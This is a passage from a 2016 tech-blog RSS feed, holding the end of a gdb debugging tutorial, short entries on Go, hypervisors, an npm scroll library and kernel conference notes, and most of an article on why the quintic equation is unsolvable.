&lt;p&gt;Let us begin with the string itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print s
$1 = &amp;quot;!dlroW World!&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This seems to be correct so far. There is certainly nothing wrong here.
So let us try the loop variable next:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) print i
$2 = 18446744073709549580
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright. I am fairly confident that our string is not that long. So, we
have identified the culprit—something is going wrong with  the
loop counter. At this point, we could use the &lt;code&gt;edit&lt;/code&gt; command to open the
file in &lt;a href="http://www.vim.org"&gt;our favourite editor&lt;/a&gt; and add some &lt;code&gt;std::cout&lt;/code&gt;
statements.&lt;/p&gt;
&lt;p&gt;Yes, I am serious. &lt;code&gt;std::cout&lt;/code&gt; can be a very powerful debugging tool! As
long as we give some serious thought to identifying potential places in
our code that may cause an error, there is nothing wrong with sprinkling
some printing statements over your code. Of course we could also set
breakpoints and watch how the value of &lt;code&gt;i&lt;/code&gt; changes over the course of
the program. But this is more advanced stuff, so I will rather cover it
in another article.&lt;/p&gt;
&lt;p&gt;So, let us assume that we have added enough &lt;code&gt;std::cout&lt;/code&gt; statements.
Running the program with these statements quickly shows that we are
traversing the string incorrectly.  As &lt;code&gt;s.size()&lt;/code&gt; is always unsigned,
the condition &lt;code&gt;i &amp;gt;= 0&lt;/code&gt; in the loop always evaluates to true. By
traversing the string in a forward manner, e.g.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for( std::size_t i = 0; i &amp;lt; s.size(); i++ )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;we finally get our program to work, resulting in the beautiful output of&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hello, ,olleH
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="fun-with-make"&gt;Fun with &lt;code&gt;make&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;If you have a Makefile—or if you are using &lt;code&gt;CMake&lt;/code&gt;, for
example—the debugger offers you a very cool integrated workflow.
You can directly use &lt;code&gt;edit&lt;/code&gt; to work on the code. Afterwards, you can
type &lt;code&gt;make&lt;/code&gt; to recompile the program, followed by &lt;code&gt;run&lt;/code&gt; to check its
behaviour again. For easily-fixable errors, this means that you never
even have to leave the debugger. More about this in a subsequent
article.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;In the next article, we shall see how to combine debugging with &lt;code&gt;make&lt;/code&gt;.
Also, I want to show you the wonderful world of breakpoints. Until that
time, here are the main lessons of debugging:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Try to figure out what causes the error&lt;/li&gt;
&lt;li&gt;Always assume that your code is at fault&lt;/li&gt;
&lt;li&gt;Do not be afraid of using &lt;code&gt;std::cout&lt;/code&gt; or &lt;code&gt;printf&lt;/code&gt; or whatever for
debugging. Whatever works.&lt;/li&gt;
&lt;li&gt;Always compile with extra warnings enabled. By compiling with &lt;code&gt;-Wall -Wextra&lt;/code&gt;, the compiler already helps you catch a lot of potential
issues. In our case, for example, the compiler would have complained
with &lt;code&gt;comparison of unsigned expression &amp;gt;= 0 is always true&lt;/code&gt;, which
would have already caught the error &lt;em&gt;before&lt;/em&gt; debugging.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy bug-fixing!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Wed, 28 Sep 2016 21:51:26 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/gdb_primer/</guid></item><item><title>gRPC wrong types context and Go 1.7</title><link>https://blog.nobugware.com/post/2016/grpc_context_go_1.7/</link><description>If you are following Go development you probably know that:
Go 1.7 moves the golang.org/x/net/context package into the standard library as context, Yeah !
Unfortunately it won&amp;rsquo;t work for everything, I&amp;rsquo;ve spent some time understanding this one.
For example if you are using gRPC you can hit this problem, here is an interface generated by gRPC:
type APRSServer interface { GetPastMessages(context.Context, *Point) (*ARPSMessages, error) } But when compiling:
/main.go:153: cannot use &amp;amp;s (type *Server) as type protorpc.</description><author>Fabrice Aneche</author><pubDate>Wed, 28 Sep 2016 20:15:53 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/grpc_context_go_1.7/</guid></item><item><title>What Is a Virtual Machine Hypervisor?</title><link>https://justingarrison.com/blog/2016-09-28-htg-explains-what-is-a-hypervisor/</link><description>Hypervisors are what make virtual machines possible, and they aren’t just for servers</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 28 Sep 2016 18:08:33 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-09-28-htg-explains-what-is-a-hypervisor/</guid></item><item><title>Startup Cargo Cults: What They Are and How to Avoid Them</title><link>https://www.codingvc.com/p/startup-cargo-cults-what-they-are-and-how-to-avoid-them</link><description>&amp;#8220;In the South Seas there is a Cargo Cult of people.</description><author>Coding VC</author><pubDate>Wed, 28 Sep 2016 06:52:00 GMT</pubDate><guid isPermaLink="true">https://www.codingvc.com/p/startup-cargo-cults-what-they-are-and-how-to-avoid-them</guid></item><item><title>¿Interesado en invertir y no sabes por dónde empezar?</title><link>https://danielpecos.com/2016/09/28/interesado-invertir-no-sabes-donde-empezar/</link><description>&lt;p&gt;&lt;img alt="Dudas inversión" class="alignleft size-full" height="300" src="https://danielpecos.com/assets/2016/09/worker-with-doubts_1012-193-e1475041218469.jpg" width="300" /&gt;No te sientas solo, es lo más normal.&lt;/p&gt;
&lt;p&gt;Y lo digo porque a mi me pasa exactamente lo mismo: es un mundo lleno de _jargon _y donde cometer un error sale caro, pero por contra, el potencial beneficio es muy interesante.&lt;/p&gt;
&lt;p&gt;¿Y por qué si no tengo ni idea de en lo que me estoy metiendo, sigo adelante?&lt;/p&gt;
&lt;p&gt;Primero: quiero &lt;strong&gt;ahorrar&lt;/strong&gt; y que mis ahorros crezcan lo máximo posible, como le gustaría a cualquier hijo de vecino.&lt;/p&gt;
&lt;p&gt;Segundo: aunque en este punto 0, optar por la &lt;strong&gt;libertad financiera&lt;/strong&gt; queda lejos, el objetivo está claro y el camino todo un reto.&lt;/p&gt;
&lt;p&gt;Y por último: porque es &lt;strong&gt;emocionante&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;En este blog trataré de ser lo más trasparente posible sobre los pasos y decisiones que voy tomando, así como sus resultados y conclusiones. Además compartiré todos lo utilizaré como libreta de apuntes, con el fin de allanar el camino al resto de novatos que se quieran internar en este mundo de la inversión.&lt;/p&gt;
&lt;p&gt;Bienvenido!&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Wed, 28 Sep 2016 05:55:09 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/09/28/interesado-invertir-no-sabes-donde-empezar/</guid></item><item><title>Links - September 28, 2016</title><link>https://faingezicht.com/links/2016/09/28/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 28 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/09/28/links/</guid></item><item><title>Plain JavaScript animated window scroll function</title><link>https://muffinman.io/blog/animate-window-scroll-to/</link><description>&lt;article class="article"&gt;&lt;p&gt;Before modern frameworks, I always used jQuery&amp;#x27;s &lt;code&gt;scrollTo&lt;/code&gt; method.
At some point, not every project included jQuery, so I wrote simple function
to animate window scroll.&lt;/p&gt;
&lt;p&gt;I have kept copying that function from project to project.
Finally I took some time, cleaned it up and published it on the npm
(this is the first npm package I published).&lt;/p&gt;
&lt;p&gt;Check the &lt;a href="https://muffinman.io/animated-scroll-to/"&gt;demo&lt;/a&gt; and read documentation of &lt;a href="https://github.com/Stanko/animated-scroll-to"&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Find it on &lt;a href="https://github.com/Stanko/animated-scroll-to"&gt;Github&lt;/a&gt;
and &lt;a href="https://www.npmjs.com/package/animated-scroll-to"&gt;npm&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="installation"&gt;Installation &lt;a class="anchor-link" href="#installation"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;npm&lt;/span&gt; &lt;span class="token function"&gt;install&lt;/span&gt; animated-scroll-to
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="usage"&gt;Usage &lt;a class="anchor-link" href="#usage"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;pre class="language-tsx"&gt;&lt;code class="language-tsx code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;import&lt;/span&gt; &lt;span class="token imports"&gt;animateScrollTo&lt;/span&gt; &lt;span class="token keyword"&gt;from&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;animated-scroll-to&amp;#x27;&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// desiredOffset - page offset to scroll&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// options - object with options&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;// default options&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; options &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// duration of the scroll per 1000px, default 500&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  speed&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;500&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// minimum duration of the scroll&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  minDuration&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;250&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// maximum duration of the scroll&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  maxDuration&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token number"&gt;1500&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// DOM element to scroll, default window&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Pass a reference to a DOM object&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// Example: document.querySelector(&amp;#x27;#element-to-scroll&amp;#x27;),&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  element&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token dom variable"&gt;window&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// should animated scroll be canceled on user scroll/keypress&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token comment"&gt;// if set to &amp;quot;false&amp;quot; user input will be disabled until animated scroll is complete&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  cancelOnUserAction&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token boolean"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token keyword"&gt;const&lt;/span&gt; desiredOffset &lt;span class="token operator"&gt;=&lt;/span&gt; &lt;span class="token number"&gt;1000&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;animateScrollTo&lt;/span&gt;&lt;span class="token punctuation"&gt;(&lt;/span&gt;desiredOffset&lt;span class="token punctuation"&gt;,&lt;/span&gt; options&lt;span class="token punctuation"&gt;)&lt;/span&gt;&lt;span class="token punctuation"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Wed, 28 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/animate-window-scroll-to/</guid></item><item><title>Why doesn't Redux support AJAX out of the box?</title><link>https://goshacmd.com/redux-no-ajax-by-default/</link><author>Gosha Spark</author><pubDate>Wed, 28 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/redux-no-ajax-by-default/</guid></item><item><title>Kernel Recipes 2016 notes</title><link>https://anisse.astier.eu/kernel-recipes-2016-notes.html</link><description>&lt;p&gt;&lt;strong&gt;Update 2016-10-21:&lt;/strong&gt; I've added links to the &lt;a href="https://www.youtube.com/playlist?list=PLQ8PmP_dnN7L5OVT95uXJAE78qcGCcDVm"&gt;videos&lt;/a&gt; and &lt;a href="https://lwn.net/Archives/ConferenceByYear/#2016-Kernel_Recipes"&gt;LWN articles&lt;/a&gt;, which are of much higher quality than these live notes.&lt;/p&gt;
&lt;p&gt;This year I'm trying a live blog of &lt;a href="http://kernel-recipes.org/"&gt;Kernel Recipes 2016&lt;/a&gt;, live from Paris, at Mozilla's headquarters. You can watch the &lt;a href="https://air.mozilla.org/kernel-recipes-2016-09-28-AM-Session/"&gt;live stream here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;The kernel report&lt;/h1&gt;
&lt;p&gt;by Jonathan …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Wed, 28 Sep 2016 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/kernel-recipes-2016-notes.html</guid></item><item><title>Links - September 27th, 2016</title><link>https://faingezicht.com/links/2016/09/27/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 27 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/09/27/links/</guid></item><item><title>Running a Node.js process on Debian as a Systemd Service</title><link>https://thomashunter.name/posts/2016-09-27-running-a-node-js-process-on-debian-as-a-systemd-service</link><author>Thomas Hunter II</author><pubDate>Tue, 27 Sep 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2016-09-27-running-a-node-js-process-on-debian-as-a-systemd-service</guid></item><item><title>Maze thing, part 2</title><link>http://www.nuke24.net/plog/19.html</link><author>TOGoS's Project Log</author><pubDate>Mon, 26 Sep 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/19.html</guid></item><item><title>Why is the Quintic Unsolvable?</title><link>https://www.akalin.com/quintic-unsolvability</link><description>&lt;!-- KaTeX messes up axes labels, for some reason, so remember to surround a
     jxgbox div with &lt;nokatex&gt;&lt;/nokatex&gt;. --&gt;


&lt;p&gt;&lt;em&gt;(This was discussed on &lt;a href="https://www.reddit.com/r/math/comments/57n07e/why_is_the_quintic_unsolvable/"&gt;r/math&lt;/a&gt; and &lt;a href="https://news.ycombinator.com/item?id=14685466"&gt;Hacker News&lt;/a&gt;.)&lt;/em&gt;&lt;/p&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;In this article, I hope to convince you that the quintic equation
  is unsolvable, in the sense that I can&amp;rsquo;t write down the solution
  to the equation
  \[
    ax^5 + bx^4 + cx^3 + dx^2 + ex + f = 0
  \]
  using only addition, subtraction, multiplication, division, raising
  to an integer power, and taking an integer root. In fact, I hope to
  go further and explain how this is true for the same reason
  that I can&amp;rsquo;t write down the solution to the equation
  \[
    ax^2 + bx + c = 0
  \]
  using only the first five operations above!&lt;/p&gt;

&lt;p&gt;The usual approach to the above claim involves a semester&amp;rsquo;s
  worth of abstract algebra and Galois theory. However, there&amp;rsquo;s
  a much easier and shorter proof which involves only a bit of group
  theory and complex analysis&amp;mdash;enough to fit in a blog
  post&amp;mdash;and some interactive
  visualizations.&lt;sup&gt;&lt;a href="#fn1" id="r1"&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;2. Quadratic Equations&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Let&amp;rsquo;s start with quadratic equations, which hopefully you all
remember from high school. Given two complex numbers \(r_1\) and
\(r_2\), you can determine the quadratic equation whose solutions are
\(r_1\) and \(r_2\), namely

\[
  (x - r_1)(x - r_2) = x^2 - (r_1 + r_2) x + r_1 r_2 = 0\text{.}
\]

If we take the standard form of a quadratic equation to be

\[
  a x^2 + bx + c = 0\text{,}
\]

then we can define a function from \(r_1\) and \(r_2\) to \(a\), \(b\),
and \(c\), which is shown by the first two panels in the visualization below;
drag either of the points \(r_1\) and \(r_2\) and notice how \(b\) and
\(c\) move (\(a\) will always remain fixed at \(1\)).&lt;/p&gt;

&lt;p&gt;Now pretend that we misremember the quadratic formula as

\[
  x_{1, 2} = \frac{-b ± b^2 - 4ac}{4a}\text{.}
\]

The results of this formula&amp;mdash;our candidate solution&amp;mdash;are
shown in the third panel. Note that since \(x_1\) and \(x_2\) depend
on \(a\), \(b\), and \(c\), which all depend on \(r_1\) and \(r_2\),
they also move when you drag either \(r_1\) and \(r_2\)&lt;/p&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 1: An incorrect quadratic formula&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardQuad1"&gt;&lt;/div&gt;
    &lt;button class="interactive-example-button quad1DisableWhileSwapping" type="button"&gt;
      Swap \(r_1\) and \(r_2\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardQuad1"&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardQuad1"&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Now this formula looks right, since \(x_1\) and \(x_2\) are at the
  same coordinates as \(r_1\) and \(r_2\). However, if you move
  \(r_1\) or \(r_2\) around, you can easily convince yourself that
  this formula can&amp;rsquo;t be right, since \(x_1\) and \(x_2\)
  don&amp;rsquo;t move in the same way.&lt;/p&gt;

&lt;p&gt;Now if you remember from high school, the real quadratic formula
  involves taking a square root, and since our candidate solution
  doesn&amp;rsquo;t do that, that means it&amp;rsquo;s probably incorrect. I
  say &amp;ldquo;probably&amp;rdquo; because there&amp;rsquo;s no immediate reason
  why there can&amp;rsquo;t be &lt;em&gt;multiple&lt;/em&gt; quadratic formulas, some
  simpler than others, of which one is simple enough to not need a
  square root. From manipulating \(r_1\) and \(r_2\), we know that our
  candidate formula is incorrect, but that doesn&amp;rsquo;t immediately
  follow from it not having a square root.&lt;/p&gt;

&lt;p&gt;Fortunately, there is a general way to rule out candidate solutions
  that are similar to the one above, namely those that use only
  addition, subtraction, multiplication, division, and raising to an
  integer power; we&amp;rsquo;ll call these &lt;em&gt;rational expressions&lt;/em&gt;. Here&amp;rsquo;s
  how it goes: if you press the button to swap \(r_1\) and \(r_2\),
  which moves \(r_1\) to \(r_2\)&amp;rsquo;s position and vice versa,
  \(a\), \(b\), and \(c\) move from their starting positions but
  return once \(r_1\) and \(r_2\) reach their destinations. This makes
  sense, because the coefficients of a polynomial don&amp;rsquo;t depend
  on how you order the roots. But since \(x_1\) and \(x_2\) depend
  only on \(a\), \(b\), and \(c\), they too must loop back to their
  starting positions.&lt;/p&gt;

&lt;p&gt;But that means that our candidate solution cannot be the quadratic
  formula! If it were, then \(x_1\) and \(x_2\) would have ended up
  swapped, too. Instead, they went back to their starting positions,
  which is a contradiction. This reasoning holds for any expression
  which is a &lt;em&gt;single-valued&lt;/em&gt; function of \(a\), \(b\), and \(c\),
  so in particular this holds for rational expressions.&lt;/p&gt;

&lt;div class="p"&gt;Let&amp;rsquo;s summarize our reasoning in a theorem:

&lt;div class="theorem"&gt;(&lt;span class="theorem-name"&gt;Theorem 1&lt;/span&gt;.) A
  rational expression&lt;sup&gt;&lt;a href="#fn2" id="r2"&gt;[2]&lt;/a&gt;&lt;/sup&gt; in the coefficients of the general quadratic
  equation
  \[
  ax^2 + bx + c = 0
  \]
  cannot be a solution to this equation.&lt;/div&gt;

&lt;div class="proof"&gt;
&lt;p&gt;&lt;span class="proof-name"&gt;Sketch of proof.&lt;/span&gt; Assume to the
  contrary that the rational expression \(x = f(a, b, c)\) is a
  solution. Assume that we start with \(r_1 = z_1\) and \(r_2 = z_2
  \ne z_1\), and without loss of generality assume that we start with
  \(x = z_1\).&lt;/p&gt;

&lt;p&gt;Run \(r_1\) and \(r_2\) along continuous paths that swap their two
  positions, i.e. make \(r_1\) head from \(z_1\) to \(z_2\)
  continuously, and at the same time make \(r_2\) head from \(z_2\) to
  \(z_1\) continuously, and make sure to pick paths such that \(r_1\)
  and \(r_2\) never coincide.&lt;/p&gt;

&lt;p&gt;Since \(a\), \(b\), and \(c\) are continuous functions of \(r_1\)
and \(r_2\), and \(x\) is a rational function of \(a\), \(b\) and
\(c\), and thus continuous, \(x\) then depends continuously on \(r_1\)
and \(r_2\). Thus, since we start with \(x = r_1 = z_1\), and \(r_1\)
never coincides with \(r_2\), then as \(r_1\) moves, \(x = r_1\) must
continue to hold, since \(x\) is a solution, and therefore
\(x\)&amp;rsquo;s final position must be the same as \(r_1\)&amp;rsquo;s,
which is \(z_2\).&lt;/p&gt;

&lt;p&gt;However, since the coefficients \(a\), \(b\), and \(c\) don&amp;rsquo;t
  depend on the ordering of \(r_1\) and \(r_2\), then their final
  positions are the same as their initial positions. Since \(x\) is a
  function of only \(a\), \(b\), and \(c\), its final position also
  must be the same as its initial position, \(z_1\). This contradicts
  the above, and therefore \(x\) cannot be a solution. &amp;#x220e;&lt;/p&gt;
&lt;/div&gt;

Now consider the candidate solution

\[
  x_{1,2} = \sqrt{b^2 - 4ac}\text{.}
\]

This isn&amp;rsquo;t a rational expression since it has a square root. In
particular, in the visualization below, it behaves quite differently
from our first candidate solution. First, even though we have just a
single expression, it yields two points \(x_1\) and \(x_2\). Second,
and more surprisingly, if you swap \(r_1\) and \(r_2\), \(x_1\) and
\(x_2\) also exchange places, seemingly contradicting Theorem&amp;nbsp;1!
What is going on?
&lt;/div&gt;

&lt;div class="interactive-example"&gt;
  &lt;h3&gt;Interactive Example 2: The quadratic equation&lt;/h3&gt;

  &lt;div class="graph-container"&gt;
    Roots
    &lt;div class="graph jxgbox" id="rootBoardQuad2"&gt;&lt;/div&gt;
    &lt;button class="interactive-example-button quad2DisableWhileSwapping" type="button"&gt;
      Swap \(r_1\) and \(r_2\)
    &lt;/button&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Coefficients
    &lt;div class="graph jxgbox" id="coeffBoardQuad2"&gt;&lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="graph-container"&gt;
    Candidate solution
    &lt;div class="graph jxgbox" id="formulaBoardQuad2"&gt;&lt;/div&gt;

    &lt;label&gt;
      &lt;input class="quad2DisableWhileSwapping" name="quad2Formula" type="radio" /&gt;
      \(x_{1, 2} = \frac{-b \pm b^2 - 4ac}{4a}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quad2DisableWhileSwapping" name="quad2Formula" type="radio" /&gt;
      \(x_1 = b^2 - 4ac\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input checked="checked" class="quad2DisableWhileSwapping" name="quad2Formula" type="radio" /&gt;
      \(x_{1, 2} = \sqrt{b^2 - 4ac}\)
    &lt;/label&gt;

    &lt;br /&gt;

    &lt;label&gt;
      &lt;input class="quad2DisableWhileSwapping" name="quad2Formula" type="radio" /&gt;
      \(x_{1, 2} = \frac{-b + \sqrt{b^2 - 4ac}}{2a}\)
      &lt;br /&gt;
      (the quadratic formula)
    &lt;/label&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;To answer this, we first need to review some facts about complex
numbers. Recall that a complex number \(z\) can be expressed in polar
coordinates, where it has a length \(r\) and an angle \(θ\), and
that it can be converted to the usual Cartesian coordinates using &lt;a href="https://en.wikipedia.org/wiki/Euler%27s_formula"&gt;Euler&amp;rsquo;s formula&lt;/a&gt;:
\[
  z = r e^{iθ} = r \cos θ + i \, r \sin θ\text{.}
\]
Then, if you have two complex numbers \(z_1 = r_1 e^{iθ_1}\) and
\(z_2 = r_2 e^{iθ_2}\) in polar form, you can multiply them by
  multiplying their lengths, and adding their angles:
\[
  z_1 z_2 = r_1 r_2 e^{i (θ_1 + θ_2)}\text{.}
\]
  So a square root of a complex number \(z = r e^{iθ}\) is just
  \(\sqrt{r} e^{iθ/2}\), as you can easily verify. However, if
  \(z\) is non-zero, there is one more square root of \(z\), namely
  \(\sqrt{r} e^{i (θ/2 + π)}\), as you can also verify. (Recall
  that angles that differ by \(2π = 360^\circ\) are considered the
  same.)&lt;/p&gt;

&lt;p&gt;So in general, the square root of a rational expression, like our
  candidate solution, yields two distinct points as long as the
  rational expression is non-zero. In our case, \(b^2 - 4ac\) remains
  non-zero as \(r_1\) and \(r_2\) don&amp;rsquo;t coincide. (We&amp;rsquo;ll
  have more to say about this expression, called the &lt;em&gt;discriminant&lt;/em&gt;,
  once we talk about cubic equations below.) Therefore, if we want to
  examine how \(x_1\) and \(x_2\) move as \(r_1\) and \(r_2\) move, we
  have to number the square roots of \(b^2 - 4ac\), and we have to
  keep this numbering consistent.&lt;/p&gt;

&lt;p&gt;To do so, we have to do two things: we have to vary \(r_1\) and
  \(r_2\) only continuously, and we have to vary \(r_1\) and \(r_2\)
  such that they never coincide. If we do this, then we can
  intuitively &amp;ldquo;lift&amp;rdquo; the expression \(b^2 - 4ac\) from the
  complex plane to a new surface \(S\) where we consider only angles
  that differ by \(4π = 720^\circ\), rather than \(2π\), to be
  the same. In this space, we can take the &amp;ldquo;first&amp;rdquo; square
  root of a non-zero complex number to be the one with half the angle,
  and the &amp;ldquo;second&amp;rdquo; square root to be the one with half the
  angle plus \(π\), and have these two square root functions behave
  continuously as their argument goes around the origin.&lt;/p&gt;

&lt;figure&gt;
  &lt;img src="quintic-unsolvability-files/Riemann_sqrt.svg" /&gt;
  &lt;figcaption&gt;
    &lt;span class="figure-text"&gt;Figure 1&lt;/span&gt;&amp;ensp;\(S\), which is the
    &lt;a href="https://en.wikipedia.org/wiki/Riemann_surface"&gt;Riemann surface&lt;/a&gt;
    of \(\sqrt{z}\). (Image by &lt;a href="https://en.wikipedia.org/wiki/File:Riemann_sqrt.svg"&gt;Leonid 2&lt;/a&gt; licensed under &lt;a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en"&gt;CC BY-SA 3.0&lt;/a&gt;.)
  &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Now this answers the question of why the proof of Theorem&amp;nbsp;1
  fails for \(\sqrt{b^2 - 4ac}\). \(a\), \(b\), and \(c\), go around a
  single loop as \(r_1\) is swapped with \(r_2\), and therefore \(b^2
  - 4ac\) goes around a single loop in the complex plane, but when
  \(b^2 - 4ac\) is lifted to \(S\), the final position of \(b^2 -
  4ac\) differs from the initial position only by an angle of
  \(2π\), so it is &lt;em&gt;distinct&lt;/em&gt; from the initial position, and
  thus we can&amp;rsquo;t conclude that the final position of \(\sqrt{b^2
  - 4ac}\) is the same as the initial position.&lt;/p&gt;

&lt;p&gt;Similar reasoning holds for any algebraic expression that
isn&amp;rsquo;t a rational expression, i.e. ones that involve taking any
integer root, so Theorem&amp;nbsp;1 cannot apply to algebraic expressions
in general. Of course, this is consistent with what we know about the
quadratic formula, since we know that it has a square root!&lt;/p&gt;

&lt;/section&gt;

&lt;section&gt;
&lt;header&gt;
&lt;h2&gt;3. Cubic Equations&lt;/h2&gt;
&lt;/header&gt;

&lt;p&gt;Now we can move on to cubic equations. Similarly, given three
complex numbers \(r_1\), \(r_2\), and \(r_3\), you can determine the
cubic equation with those solutions, namely

\[
  (x - r_1) (x - r_2) (x - r_3) = x^3 - (r_1 + r_2 + r_3) x^2 + (r_1 r_2 + r_1 r_3 + r_2 r_3) x - r_1 r_2 r_3\text{,}
\]

and so we can define a function from \(r_1\), \(r_2\), and \(r_3\) to
\(a\), \(b\), \(c\), and \(d\), where

\[
  a x^3 + b x^2 + c x + d
\]

is the standard form of a cubic polynomial, and this is shown in the
visualization below.&lt;/p&gt;

&lt;p&gt;In the previous section, we talked about the discriminant \(b^2 -
  4ac\) of the general quadratic polynomial. However, the discriminant
  is an expression that is defined for &lt;em&gt;any&lt;/em&gt; polynomial. If
